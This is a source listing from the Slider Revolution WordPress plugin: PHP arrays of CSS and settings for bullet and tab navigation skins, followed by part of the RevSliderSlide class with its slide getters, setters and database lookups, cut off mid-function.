.tp-bullet-title:after { \n border-width: 10px 10px 10px 0;\n border-color: transparent ##idlecolor-title## transparent transparent ;\n left:-2px;\n right:auto; \n bottom:auto;\n top:10px; \n}\n\n\n.dione.nav-dir-vertical.nav-pos-hor-left .tp-bullet.rs-touchhover .tp-bullet-title,\n.dione.nav-dir-vertical.nav-pos-hor-center .tp-bullet.rs-touchhover .tp-bullet-title{\n transform:translateY(-50%) translateX(0px);\n -webkit-transform:translateY(-50%) translateX(0px);\n}\n\n\n/* HORIZONTAL TOP */\n.dione.nav-dir-horizontal.nav-pos-ver-top .tp-bullet-title { \n top:##size##px; left:50%; bottom:auto; margin-top:10px; right:auto; transform: translateX(-50%) translateY(10px);-webkit-transform: translateX(-50%) translateY(10px); \n} \n.dione.nav-dir-horizontal.nav-pos-ver-top .tp-bullet-title:after { \n border-width: 0 10px 10px 10px;\n border-color: transparent transparent ##idlecolor-title## transparent;\n right:auto;\n left:50%;\n margin-left:-10px;\n bottom:auto;\n top:-10px;\n \n}\n\n\n.dione.nav-dir-horizontal.nav-pos-ver-top .tp-bullet.rs-touchhover .tp-bullet-title{\n transform:translateX(-50%) translatey(0px);\n -webkit-transform:translateX(-50%) translatey(0px);\n}\n\n", 'markup' => "\n \n\n{{title}}", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"size":{"title":"Size","type":"custom","data":"50"},"border-size":{"title":"Border-Size","type":"custom","data":"3"},"idlecolor":{"title":"Idle-Color","type":"color","data":"rgba(0,0,0,0.25)"},"idlecolor-title":{"title":"Idle-Color","type":"color","data":"rgba(0,0,0,0.65)"},"tooltip-offset":{"title":"Tooltip-Offset","type":"custom","data":"65"},"tooltip-color":{"title":"Tooltip-Color","type":"color","data":"#ffffff"},"hovercolor":{"title":"Hover-Color-Top","type":"color","data":"#ffffff"},"hbgb":{"title":"Hover-Color-Bottom","type":"color","data":"#777777"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 3013, 'handle' => 'uranus', 'type' => 'bullets', 'name' => 'Uranus', 'css' => ".uranus .tp-bullet{\n border-radius: 50%;\n box-shadow: 0 0 0 2px ##color##;\n -webkit-transition: box-shadow 0.3s ease;\n transition: box-shadow 0.3s ease;\n background:transparent;\n width:##size##px;\n height:##size##px;\n}\n.uranus .tp-bullet.selected,\n.uranus .tp-bullet.rs-touchhover {\n box-shadow: 0 0 0 2px ##color-hover##;\n border:none;\n border-radius: 50%;\n background:transparent;\n}\n\n.uranus .tp-bullet-inner {\n -webkit-transition: background-color 0.3s ease, -webkit-transform 0.3s ease;\n transition: background-color 0.3s ease, transform 0.3s ease;\n top: 0;\n left: 0;\n width: 100%;\n height: 100%;\n outline: none;\n border-radius: 50%;\n background-color: ##color##;\n background-color: ##color-inner##;\n text-indent: -999em;\n cursor: pointer;\n position: absolute;\n}\n\n.uranus .tp-bullet.selected .tp-bullet-inner,\n.uranus .tp-bullet.rs-touchhover .tp-bullet-inner{\n transform: scale(0.4);\n -webkit-transform: scale(0.4);\n background-color:##color-hover##;\n}", 'markup' => "", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"size":{"title":"Size","type":"custom","data":"15"},"color":{"title":"Color","type":"color","data":"rgba(255,255,255,0)"},"color-hover":{"title":"Color Hover","type":"color","data":"rgba(255,255,255,1)"},"color-inner":{"title":"Color Inner","type":"color","data":"rgba(255,255,255,0.3)"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 4000, 'handle' => 'hesperiden', 'type' => 'tabs', 'name' => 'Hesperiden', 'css' => ".hesperiden .tp-tab { \n opacity:1; \n padding:10px;\n box-sizing:border-box;\n font-family: '##font-family##', sans-serif;\n border-bottom: ##border-size##px solid ##border-color##;\n }\n.hesperiden .tp-tab-image \n{ \n width:##image-size##px;\n height:##image-size##px; max-height:100%; max-width:100%;\n position:relative;\n display:inline-block;\n float:left;\n\n}\n.hesperiden .tp-tab-content \n{\n background:##bgcolor##; \n position:relative;\n padding:15px 15px 15px 85px;\n left:0px;\n overflow:hidden;\n margin-top:-15px;\n box-sizing:border-box;\n color:##contentcolor##;\n display: inline-block;\n width:100%;\n height:100%;\n position:absolute; }\n.hesperiden .tp-tab-date\n {\n display:block;\n color: ##param1-color##;\n font-weight:500;\n font-size:##param1-size##px;\n margin-bottom:0px;\n }\n.hesperiden .tp-tab-title \n{\n display:block;\t\n text-align:left\t;\n color:##param2-color##;\n font-size:##param2-size##px;\n font-weight:500;\n text-transform:none;\n line-height:17px;\n}\n.hesperiden .tp-tab.rs-touchhover,\n.hesperiden .tp-tab.selected {\n\tbackground:##hover-bg-color##; \n}\n\n.hesperiden .tp-tab-mask {\n}\n\n/* media queries */\n@media only screen and (max-width: 960px) {\n\n}\n@media only screen and (max-width: 768px) {\n\n}", 'markup' => "
            \n {{param1}}\n {{title}}\n
            \n
            ", 'settings' => '{"dim":{"width":"250","height":"80"},"placeholders":{"font-family":{"title":"Font-Family","type":"font-family","data":"Roboto"},"border-color":{"title":"Border-Bottom-Color","type":"color","data":"#e5e5e5"},"border-size":{"title":"Border-Bottom-Size","type":"custom","data":"1"},"image-size":{"title":"Image-Size","type":"custom","data":"60"},"param1-color":{"title":"Date-Color","type":"color","data":"rgba(51,51,51,0.5)"},"param1-size":{"title":"Date-Size","type":"custom","data":"12"},"hover-bg-color":{"title":"Hover-BG-Color","type":"color","data":"#eeeeee"},"bgcolor":{"title":"Background","type":"color","data":"rgba(0,0,0,0)"},"contentcolor":{"title":"Content","type":"color","data":"#333333"},"param2-color":{"title":"Title-Color","type":"color","data":"rgba(0,0,0,1)"},"param2-size":{"title":"Title-Size","type":"custom","data":"14"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 4001, 'handle' => 'gyges', 'type' => 'tabs', 'name' => 'Gyges', 'css' => ".gyges .tp-tab { \n opacity:1; \n padding:10px;\n box-sizing:border-box;\n font-family: 'roboto', sans-serif;\n border-bottom: 1px solid ##borderc##;\n }\n.gyges .tp-tab-image \n{ \n width:##size##px;\n height:##size##px; \n max-height:100%; \n max-width:100%;\n position:relative;\n display:inline-block;\n float:left;\n\n}\n.gyges .tp-tab-content \n{\n background:##bg##; \n position:relative;\n padding:15px 15px 15px 85px;\n left:0px;\n overflow:hidden;\n margin-top:-15px;\n box-sizing:border-box;\n color:##color##;\n display: inline-block;\n width:100%;\n height:100%;\n position:absolute; }\n.gyges .tp-tab-date\n {\n display:block;\n color: ##datecolor##;\n font-weight:500;\n font-size:##datesize##px;\n margin-bottom:0px;\n }\n.gyges .tp-tab-title \n{\n display:block; \n text-align:left;\n color:##titlecolor##;\n font-size:##titlesize##px;\n font-weight:500;\n text-transform:none;\n line-height:17px;\n}\n.gyges .tp-tab.rs-touchhover,\n.gyges .tp-tab.selected {\n background:##hbg##; \n}\n\n.gyges .tp-tab-mask {\n}\n\n/* media queries */\n@media only screen and (max-width: 960px) {\n\n}\n@media only screen and (max-width: 768px) {\n\n}", 'markup' => "
            \n {{param1}}\n {{title}}\n
            \n
            ", 'settings' => '{"dim":{"width":"300","height":"80"},"placeholders":{"borderc":{"title":"Border-Color","type":"color","data":"rgba(255,255,255,0.15)"},"size":{"title":"Size","type":"custom","data":"60"},"bg":{"title":"Background","type":"color","data":"rgba(0,0,0,0)"},"color":{"title":"Content-Color","type":"color","data":"rgba(51,51,51,0)"},"datecolor":{"title":"Date-Color","type":"color","data":"rgba(255,255,255,0.5)"},"datesize":{"title":"Date-Size","type":"custom","data":"12"},"titlecolor":{"title":"Title-Color","type":"color","data":"#ffffff"},"titlesize":{"title":"Title-Size","type":"custom","data":"14"},"hbg":{"title":"Hover-Background","type":"color","data":"rgba(0,0,0,0.51)"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 4002, 'handle' => 'hades', 'type' => 'tabs', 'name' => 'Hades', 'css' => ".hades .tp-tab {\n opacity:1;\n }\n \n.hades .tp-tab-title\n {\n display:block;\n color:##param1##;\n font-weight:600;\n font-size:##param1size##px;\n text-align:center;\n line-height:25px; \n } \n.hades .tp-tab-price\n {\n\tdisplay:block;\n text-align:center;\n color:##param2##;\n font-size:##p2size##px;\n margin-top:10px;\n line-height:20px\n}\n\n.hades .tp-tab-button {\n display:inline-block;\n margin-top:15px;\n text-align:center;\n\tpadding:5px 15px;\n \tcolor:##p3##;\n \tfont-size:##p3size##px;\n \tbackground:##p3bg##;\n \tborder-radius:4px;\n font-weight:400;\n}\n.hades .tp-tab-inner {\n\ttext-align:center;\n}\n\n ", 'markup' => "
            \n {{param1}}\n {{param2}}\n {{param3}}\n
            ", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"param1":{"title":"Param1","type":"color","data":"#333333"},"param1size":{"title":"Param1-Size","type":"custom","data":"18"},"param2":{"title":"Param2","type":"color","data":"#999999"},"p2size":{"title":"Param2-Size","type":"custom","data":"16"},"p3":{"title":"Param3","type":"color","data":"#ffffff"},"p3size":{"title":"Param3-Size","type":"custom","data":"14"},"p3bg":{"title":"Param3-BG","type":"color","data":"#219bd7"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 4003, 'handle' => 'ares', 'type' => 'tabs', 'name' => 'Ares', 'css' => ".ares .tp-tab { \n opacity:1; \n padding:10px;\n box-sizing:border-box;\n font-family: '##font-family##', sans-serif;\n border-bottom: ##bottom-border-size##px solid ##bottom-border-color##;\n background:##idle-bg-color##);\n }\n.ares .tp-tab-image \n{ \n width:##image-size##px;\n height:##image-size##px; max-height:100%; max-width:100%;\n position:relative;\n display:inline-block;\n float:left;\n\n}\n.ares .tp-tab-content \n{\n background:rgba(0,0,0,0); \n position:relative;\n padding:15px 15px 15px 85px;\n left:0px;\n overflow:hidden;\n margin-top:-15px;\n box-sizing:border-box;\n color:#333;\n display: inline-block;\n width:100%;\n height:100%;\n position:absolute; }\n.ares .tp-tab-date\n {\n display:block;\n color: ##param1-color##;\n font-weight:500;\n font-size:##param1-size##px;\n margin-bottom:0px;\n }\n.ares .tp-tab-title \n{\n display:block;\t\n text-align:left;\n color:##param2-color##;\n font-size:##param2-size##px;\n font-weight:500;\n text-transform:none;\n line-height:17px;\n}\n.ares .tp-tab.rs-touchhover,\n.ares .tp-tab.selected {\n\tbackground:##hover-bg-color##; \n}\n\n.ares .tp-tab-mask {\n}\n\n/* media queries */\n@media only screen and (max-width: 960px) {\n\n}\n@media only screen and (max-width: 768px) {\n\n}", 'markup' => "
            \n {{param1}}\n {{param2}}\n
            \n
            ", 'settings' => '{"dim":{"width":"250","height":"80"},"placeholders":{"font-family":{"title":"Font-Family","type":"font-family","data":"Roboto"},"bottom-border-color":{"title":"Bottom-Border","type":"color","data":"#e5e5e5"},"bottom-border-size":{"title":"Bottom-Border-Size","type":"custom","data":"1"},"image-size":{"title":"Image-Size","type":"custom","data":"60"},"param1-color":{"title":"Param-1-Color","type":"color","data":"#aaaaaa"},"param1-size":{"title":"Param-1-Size","type":"custom","data":"12"},"param2-color":{"title":"Param-2-Color","type":"color","data":"#333333"},"param2-size":{"title":"Param-2-Size","type":"custom","data":"14"},"hover-bg-color":{"title":"Hover-Background","type":"color","data":"#eeeeee"},"idle-bg-color":{"title":"Idle-Background","type":"color","data":"rgba(0,0,0,0)"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 4004, 'handle' => 'hebe', 'type' => 'tabs', 'name' => 'Hebe', 'css' => ".hebe .tp-tab-title {\n color:##title-color##;\n font-size:##title-size##px;\n font-weight:700;\n text-transform:uppercase;\n font-family:'##title-font##'\n margin-bottom:5px;\n}\n\n.hebe .tp-tab-desc {\n\tfont-size:##param1-size##px;\n font-weight:400;\n color:##param1-color##;\n line-height:25px;\n\tfont-family:'##param1-font##';\n}\n", 'markup' => "
            {{param1}}
            \n
            {{title}}
            ", 'settings' => '{"dim":{"width":160,"height":160},"placeholders":{"title-color":{"title":"Param-Color","type":"color","data":"#a8d8ee"},"title-size":{"title":"Param-Size","type":"custom","data":"13"},"title-font":{"title":"Param-Font","type":"font-family","data":"Roboto Slab"},"param1-color":{"title":"Title-Color","type":"color","data":"#ffffff"},"param1-size":{"title":"Title-Size","type":"custom","data":"18"},"param1-font":{"title":"Title-Font","type":"font-family","data":"Roboto Slab"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 4005, 'handle' => 'hermes', 'type' => 'tabs', 'name' => 'Hermes', 'css' => ".hermes .tp-tab { \n opacity:1; \n box-sizing:border-box;\n padding-right:10px;\n }\n \n.hermes .tp-tab-content-wrapper {\n position:absolute;\n width:100%;\n min-height:40%;\n bottom:0px;\n box-sizing:border-box;\n padding-right:10px;\n overflow:hidden;\n}\n.hermes .tp-tab-bg {\n position:absolute; \n top:0px;\n left:-10px; \n width:100%;height:100%;\n background:##back-color##; \n}\n.hermes .tp-tab-image \n{ \n width:100%;\n height:60%;\n position:relative;\n}\n.hermes .tp-tab-content \n{\n position:relative;\n padding:##padding##;\n box-sizing:border-box;\n display:block;\n width:100%;\n }\n.hermes .tp-tab-date\n {\n display:block;\n color:##param1-color##;\n font-weight:600;\n font-size:##param1-size##px;\n margin-bottom:10px;\n }\n.hermes .tp-tab-title \n{\n display:block;\t\n color:##param2-color##;\n font-size:##param2-size##px;\n font-weight:800;\n text-transform:uppercase;\n line-height:##param2-size##px;\n}\n\n.hermes .tp-tab.selected .tp-tab-content-wrapper:after {\n width: 0px;\n\theight: 0px;\n\tborder-style: solid;\n\tborder-width: 25px 0 25px 10px;\n\tborder-color: transparent transparent transparent ##back-color##;\n\tcontent:' ';\n position:absolute;\n right:0px;\n bottom:50%;\n margin-bottom:-25px;\n}\n\n\n/* media queries */\n@media only screen and (max-width: 960px) {\n .hermes .tp-tab .tp-tab-title {font-size:14px;line-height:16px;}\n .hermes .tp-tab-date { font-size:11px; line-height:13px;margin-bottom:10px;}\n .hermes .tp-tab-content { padding:15px 15px 15px 25px;}\n}\n@media only screen and (max-width: 768px) {\n .hermes .tp-tab .tp-tab-title {font-size:12px;line-height:14px;}\n .hermes .tp-tab-date {font-size:10px; line-height:12px;margin-bottom:5px;}\n .hermes .tp-tab-content {padding:10px 10px 10px 20px;}\n}\n\n/* BOTTOM HORIZONTAL */\n.hermes .nav-pos-ver-bottom.nav-dir-horizontal .tp-tab-image { margin-top:40%; }\n.hermes .nav-pos-ver-bottom.nav-dir-horizontal .tp-tab-content-wrapper { position:absolute; bottom:auto;top:0px; padding-top:10px;}\n.hermes .nav-pos-ver-bottom.nav-dir-horizontal { padding-right:0px; }\n.hermes .nav-pos-ver-bottom.nav-dir-horizontal .tp-tab-bg { left:0px; top:10px;}\n.hermes .nav-pos-ver-bottom.nav-dir-horizontal.tp-tab.selected .tp-tab-content-wrapper:after { \n border-width: 0px 25px 10px 25px;\n border-color: transparent transparent ##back-color## transparent;\n top:0px;\n left:50%;\n margin-left:0px 0px 0px -25px;\n}\n\n/* CENTER HORIZONTAL */\n.hermes .nav-pos-ver-center.nav-dir-horizontal .tp-tab-image { margin-top:40%; }\n.hermes .nav-pos-ver-center.nav-dir-horizontal .tp-tab-content-wrapper { position:absolute; bottom:auto;top:0px; padding-top:10px;}\n.hermes .nav-pos-ver-center.nav-dir-horizontal { padding-right:0px; }\n.hermes .nav-pos-ver-center.nav-dir-horizontal .tp-tab-bg { left:0px; top:10px;}\n.hermes .nav-pos-ver-center.nav-dir-horizontal.tp-tab.selected .tp-tab-content-wrapper:after { \n border-width: 0px 25px 10px 25px;\n border-color: transparent transparent ##back-color## transparent;\n top:0px;\n left:50%;\n margin:0px 0px 0px -25px;\n}\n\n/* BOTTOM HORIZONTAL */\n.hermes .nav-pos-ver-top.nav-dir-horizontal .tp-tab-content-wrapper { padding-bottom:10px;}\n.hermes .nav-pos-ver-top.nav-dir-horizontal { padding-right:0px; }\n.hermes .nav-pos-ver-top.nav-dir-horizontal .tp-tab-bg { left:0px; top:-10px;}\n.hermes .nav-pos-ver-top.nav-dir-horizontal.tp-tab.selected .tp-tab-content-wrapper:after { \n border-width: 10px 25px 0px 25px;\n border-color: ##back-color## transparent transparent transparent;\n bottom:0px;\n left:50%;\n margin:0px 0px 0px -25px;\n}\n\n/* RIGHT VEERTICAL */\n.hermes .nav-pos-hor-right.nav-dir-vertical .tp-tab-content-wrapper { padding-left:10px; padding-right:0px; left:0px;} \n.hermes .nav-pos-hor-right.nav-dir-vertical { padding-left:10px; padding-right:0px;}\n.hermes .nav-pos-hor-right.nav-dir-vertical .tp-tab-bg { left:10px;}\n.hermes .nav-pos-hor-right.nav-dir-vertical.tp-tab.selected .tp-tab-content-wrapper:after { \n border-width: 25px 10px 25px 0px;\n border-color:transparent ##back-color## transparent transparent;\n right:auto;\n left:0px; \n}\n\n", 'markup' => "\n\n\n\n\t{{param1}}\n\t{{param2}}\n\n", 'settings' => '{"dim":{"width":"240","height":"260"},"placeholders":{"back-color":{"title":"Background","type":"color","data":"#000000"},"param1-color":{"title":"Param-1-Color","type":"color","data":"#888888"},"param2-color":{"title":"Param-2-Color","type":"color","data":"#ffffff"},"param1-size":{"title":"Param-1-Size","type":"custom","data":"12"},"param2-size":{"title":"Param-2-Size","type":"custom","data":"16"},"padding":{"title":"Padding","type":"custom","data":"20px"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 4009, 'handle' => 'erinyen', 'type' => 'tabs', 'name' => 'Erinyen', 'css' => ".erinyen .tp-tab-title {\n color:##title-color##;\n font-size:##title-size##px;\n font-weight:##title-font-weight##;\n text-transform:uppercase;\n font-family:'##title-font##';\n margin-bottom:5px;\n line-height:##title-line-height##px;\n}\n\n.erinyen .tp-tab-desc {\n\tfont-size:##desc-size##px;\n font-weight:##desc-font-weight##;\n color:##desc-color##;\n line-height:##desc-line-height##px;\n\tfont-family:'##desc-font##';\n}\n ", 'markup' => "
            {{title}}
            \n
            {{description}}
            ", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"title-color":{"title":"Title-Color","type":"color","data":"#a8d8ee"},"desc-color":{"title":"Description-Color","type":"color","data":"#ffffff"},"title-size":{"title":"Title-Size","type":"custom","data":"13"},"desc-size":{"title":"Description-Size","type":"custom","data":"18"},"title-font":{"title":"Title-Font","type":"font-family","data":"Roboto Slab"},"desc-font":{"title":"Description-Font","type":"font-family","data":"Roboto Slab"},"title-line-height":{"title":"Title-Line-Height","type":"custom","data":"15"},"desc-line-height":{"title":"Desc-Line-Height","type":"custom","data":"25"},"title-font-weight":{"title":"Title-Font-Weight","type":"custom","data":"700"},"desc-font-weight":{"title":"Desc-Font-Weight","type":"custom","data":"400"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 4010, 'handle' => 'zeus', 'type' => 'tabs', 'name' => 'Zeus', 'css' => ".zeus .tp-tab { \n opacity:1; \n box-sizing:border-box;\n}\n\n.zeus .tp-tab-title { \ndisplay: block;\ntext-align: center;\nbackground: ##bg-color##;\nfont-family: '##title-font##', serif; \nfont-weight: 700; \nfont-size: ##font-size##px; \nline-height: ##font-size##px;\ncolor: ##color##; \npadding: ##padding##; }\n\n.zeus .tp-tab.rs-touchhover .tp-tab-title,\n.zeus .tp-tab.selected .tp-tab-title {\n color: ##hover-color##;\n background:##back-hover##; \n}", 'markup' => "{{title}}", 'settings' => '{"dim":{"width":"160","height":"31"},"placeholders":{"bg-color":{"title":"BG-RGBA","type":"color","data":"rgba(0,0,0,0.25)"},"back-hover":{"title":"Hover-Background","type":"color","data":"#ffffff"},"color":{"title":"Title-Color","type":"color","data":"#ffffff"},"hover-color":{"title":"Hover-Title-Color","type":"color","data":"#000000"},"font-size":{"title":"Title-Size","type":"custom","data":"13"},"title-font":{"title":"Title-Font-Family","type":"font-family","data":"Roboto Slab"},"padding":{"title":"Padding","type":"custom","data":"9px 10px"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 4011, 'handle' => 'metis', 'type' => 'tabs', 'name' => 'Metis', 'css' => ".metis .tp-tab-number {\n color:##title-color##;\n font-size:##title-size##px;\n line-height:30px;\n font-weight:##title-weight##;\n font-family: '##font-family##';\n width: ##basicwidth##px; \n display: inline-block;\n\tposition:absolute;\n text-align:center;\n box-sizing:border-box;\n}\n\n\n.metis .tp-tab-mask {\n left:0px;\n top:0px;\n max-width:##basicwidth## !important; \n line-height:30px;\n transition:0.4s padding-left, 0.4s left, 0.4s max-width;\n}\n\n.metis:hover .tp-tab-mask{\n left:15px;\n padding-left:0px;\n max-width:500px !important;\n}\n\n.metis .tp-tab-divider { \n\tborder-right: 1px solid transparent;\n height: 30px;\n width: 1px;\n display: inline-block;\n position:absolute;\n left:##basicwidth##px;\n transition:0.4s all;\n}\n\n.metis .tp-tab-title {\n color:##desc-color##;\n font-size:##desc-size##px;\n line-height:##desc-size##px;\n font-weight:##desc-font-weight##;\n font-family: '##font-family##';\n position:relative;\n line-height:30px;\n padding-left: 30px;\n display: inline-block;\n transform:translatex(-100%);\n transition:0.4s all;\n}\n\n.metis .tp-tab-title-mask {\n position:absolute;\n overflow:hidden;\n left:##basicwidth##px; \n}\n\n.metis:hover .tp-tab-title {\n transform:translatex(0);\n }\n\n.metis .tp-tab { \n\topacity: 0.15;\n transition:0.4s all;\n}\n\n.metis .tp-tab.rs-touchhover,\n.metis .tp-tab.selected {\n opacity: 1; \n}\n\n.metis .tp-tab.selected .tp-tab-divider {\n\tborder-right: 1px solid #cdb083;\n}\n\n.metis:hover .tp-tab-divider {\n\tmargin-left:15px;\n}\n\n.metis.tp-tabs {\n max-width:##basicwidth##px !important; \n}\n \n.metis.tp-tabs:before {\n content:' ';\n height:100%;\n width:##basicwidth##px; \n border-right:1px solid rgba(255,255,255,0.10);\n left:0px;\n top:0px;\n position:absolute;\n transition:0.4s all;\n background:##bgcolor##;\n box-sizing:content-box !important;\n padding:0px;\n }\n \n .metis.tp-tabs.rs-touchhover:before{\n width:##basicwidth##px;\n background:##bghovercolor##;\n padding:0px 15px;\n }\n \n @media (max-width:499px){\n .metis.tp-tabs:before {\n background:##handybg##;\n }\n }\n ", 'markup' => "
            \n
            {{param1}}
            \n
            \n
            \n
            {{title}}
            \n
            \n
            ", 'settings' => '{"dim":{"width":"300","height":"40"},"placeholders":{"font-family":{"title":"Font-Family","type":"font-family","data":"Playfair Display"},"title-color":{"title":"Title-Color","type":"color","data":"#ffffff"},"title-size":{"title":"Title-Font-Size","type":"custom","data":"40"},"desc-color":{"title":"Desc-Color","type":"color","data":"#ffffff"},"desc-size":{"title":"Desc-Font-Size","type":"custom","data":"20"},"desc-font-weight":{"title":"Desc-Font-Weight","type":"custom","data":"400"},"title-weight":{"title":"Title-Weight","type":"custom","data":"400"},"basicwidth":{"title":"Basic-Width","type":"custom","data":"80"},"bgcolor":{"title":"Background","type":"color","data":"rgba(0,0,0,0.15)"},"bghovercolor":{"title":"Hover-Background","type":"color","data":"rgba(0,0,0,0.25)"},"handybg":{"title":"Handy-Background","type":"color","data":"rgba(0,0,0,0.75)"}},"presets":{},"version":"6.0.0"}', );includes/slide.class.php000060400000340555151724235750011312 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderSlide extends RevSliderFunctions { private $id; private $slider_id; private $slider; private $order; private $layers = array(); public $params; public $children = array(); public $image_id; public $image_url; public $image_path; public $image_filename; private $image_thumb; public $settings; public $post_data; private $template_id; private $static_slide = false; /** * used to determinate if we need to init the layers of the Slides * can cause heavy ram usage on slider overview page if we have 100+ Sliders **/ public $init_layer = true; /** * START: DEPRECATED FUNCTIONS THAT ARE IN HERE FOR OLD ADDONS TO WORK PROPERLY **/ /** * old version of get_id(); * added for compatibility with old AddOns **/ public function getID(){ return $this->get_id(); } /** * old version of get_slider_id(); * added for compatibility with old AddOns **/ public function getSliderID(){ return $this->get_slider_id(); } /** * old version of $this->image_url; * added for compatibility with old AddOns **/ public function getImageUrl(){ return $this->image_url; } /** * old version of RevSliderSlide->getLayers() **/ public function getLayers(){ return $this->get_layers(); } /** * old version of RevSliderSlide->set_layers_raw() **/ public function setLayersRaw($layers){ $this->set_layers_raw($layers); } /** * old version of RevSliderSlide->save_layers() */ public function saveLayers(){ $this->save_layers(); } /** * old version of RevSliderSlide->get_val() * @param string $name * @param string $default * @return string */ public function getParam($name, $default = null){ if($default === null){ $default = ''; } return $this->get_val($this->params, $name, $default); } /** * END: DEPRECATED FUNCTIONS THAT ARE IN HERE FOR OLD ADDONS TO WORK PROPERLY **/ /** * get the current slide id * before: RevSliderSlide::getID(); */ public function get_id(){ return $this->id; } /** * set slide ID * before: RevSliderSlide::setID(); * @param int $id */ public function set_id($id){ $this->id = $id; } /** * get slide title * @before: RevSliderSlide::getTitle(); */ public function get_title(){ return $this->get_param('title', 'Slide'); } /** * get the slider id of the current slide * before: RevSliderSlide::getSliderID() */ public function get_slider_id(){ return $this->slider_id; } /** * returns if the Slide is a static slide or not */ public function is_static_slide(){ return $this->static_slide; } /** * get array of children id's * @before: RevSliderSlide::getArrChildrenIDs(); */ public function get_child_ids(){ $ids = array(); $children = $this->get_children(); if(!empty($children)){ foreach($children as $child){ $ids[] = $child->get_id(); } } return $ids; } /** * get slide order * before: RevSliderSlide::getOrder() */ public function get_order(){ return $this->order; } /** * get slide settings * @since: 5.0 * before: RevSliderSlide::getSettings() */ public function get_settings(){ return apply_filters('revslider_slide_get_settings', apply_filters('revslider_slide_getSettings', $this->settings, $this), $this); } /** * set slide params * before: RevSliderSlide::setParams() */ public function set_params($params){ $this->params = $params; } /** * get slide params * before: RevSliderSlide::getParams() */ public function get_params(){ return apply_filters('revslider_slide_get_params', apply_filters('revslider_slide_getParams', $this->params, $this), $this); } /** * get slide layers * before: RevSliderSlide::getLayers() */ public function get_layers(){ return apply_filters('revslider_get_layers', apply_filters('revslider_getLayers', $this->layers, $this), $this); } /** * set layers from client, do not normalize as this results in loosing the order * @since: 5.0 * @before: RevSliderSlide::setLayersRaw() */ public function set_layers_raw($layers){ $this->layers = $layers; } /** * get thumb url * @before: RevSliderSlide::getThumbUrl(); */ public function get_thumb_url(){ return (!empty($this->image_thumb)) ? $this->image_thumb : $this->image_url; } /** * get layers in json format * since: 5.0 * @before: RevSliderSlide::getLayerID_by_unique_id() */ public function get_layer_id_by_uid($uid, $static_slide){ if(strpos($uid, 'static-') !== false){ $uid = str_replace('static-', '', $uid); $layers = $static_slide->get_layers(); if(!empty($layers)){ foreach($layers as $l){ $nuid = $this->get_val($l, 'uid'); if($nuid == $uid){ return $this->get_val($l, array('attributes', 'id')); } } } }else{ if(!empty($this->layers)){ foreach($this->layers as $l){ $nuid = $this->get_val($l, 'uid'); if($uid == $nuid){ return $this->get_val($l, array('attributes', 'id')); } } } } return ''; } /** * get slider param * @before: RevSliderSlide::getSliderParam(); */ private function get_slider_param($slider_id, $name, $default, $validate = null){ if(empty($this->slider)){ $this->slider = new RevSliderSlider(); $this->slider->init_by_id($slider_id); } return $this->slider->get_param($name, $default); } /** * get the overview data of a slide * @since: 6.1.2 * @return array */ public function get_overview_data(){ return array( 'id' => $this->get_id(), 'order' => $this->get_order(), 'title' => $this->get_title(), 'state' => $this->get_param(array('publish', 'state'), 'published'), 'customAdminThumbSrc' => $this->get_overview_image_attributes('gallery') ); } /** * get the id of the static slide * before: RevSliderSlide::getStaticSlideID() * @param int $slider_id * @return mixed */ public function get_static_slide_id($slider_id){ global $wpdb; $slide = array(); if(!empty($slider_id)){ $slide = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES." WHERE slider_id = %d", $slider_id), ARRAY_A); } return (empty($slide)) ? false : $this->get_val($slide, 'id', false); } /** * combine get_static_slide_id & init_by_id into one function to avoid duplicated queries * @since: 6.4.6 * @param int $slider_id * @return bool */ public function init_static_slide_by_slider_id($slider_id){ global $wpdb; if(empty($slider_id)) return false; $slide = $wpdb->get_row($wpdb->prepare("SELECT * FROM ".$wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES." WHERE slider_id = %d", $slider_id), ARRAY_A); if(empty($slide)) return false; $this->init_by_data($slide); return true; } /** * Check if Slide Exists with given ID * @since: 5.0 * @before: RevSliderSlide::isSlideByID(); * @param int $slideid * @return bool */ public function exist_by_id($slideid){ global $wpdb; try{ if(strpos($slideid, 'static_') !== false){ $slide_id = str_replace('static_', '', $slideid); $this->validate_numeric($slide_id, __('Slide ID', 'revslider')); $record = $wpdb->get_row($wpdb->prepare("SELECT id FROM ". $wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES ." WHERE id = %d", $slide_id), ARRAY_A); }else{ $record = $wpdb->get_row($wpdb->prepare("SELECT id FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDES ." WHERE id = %d", $slideid), ARRAY_A); } }catch(Exception $e){ return false; } return (empty($record)) ? false : true; } /** * initialize a slide by id * before: RevSliderSlide::initByID(); * @param int $slide_id */ public function init_by_id($slide_id){ global $wpdb; try{ if(strpos($slide_id, 'static_') !== false){ $this->static_slide = true; $static_id = str_replace('static_', '', $slide_id); $this->validate_numeric($static_id, 'Static Slide ID'); $slide = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES ." WHERE id = %d", $static_id), ARRAY_A); }else{ $this->validate_numeric($slide_id, 'Slide ID'); $slide = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDES ." WHERE id = %d", $slide_id), ARRAY_A); } $this->init_by_data($slide); }catch(Exception $e){ echo $e->getMessage(); exit; } } /** * init by another slide * @before: RevSliderSlide::initBySlide(); * @param RevSliderSlide $slide */ public function init_by_slide(RevSliderSlide $slide){ $slide = 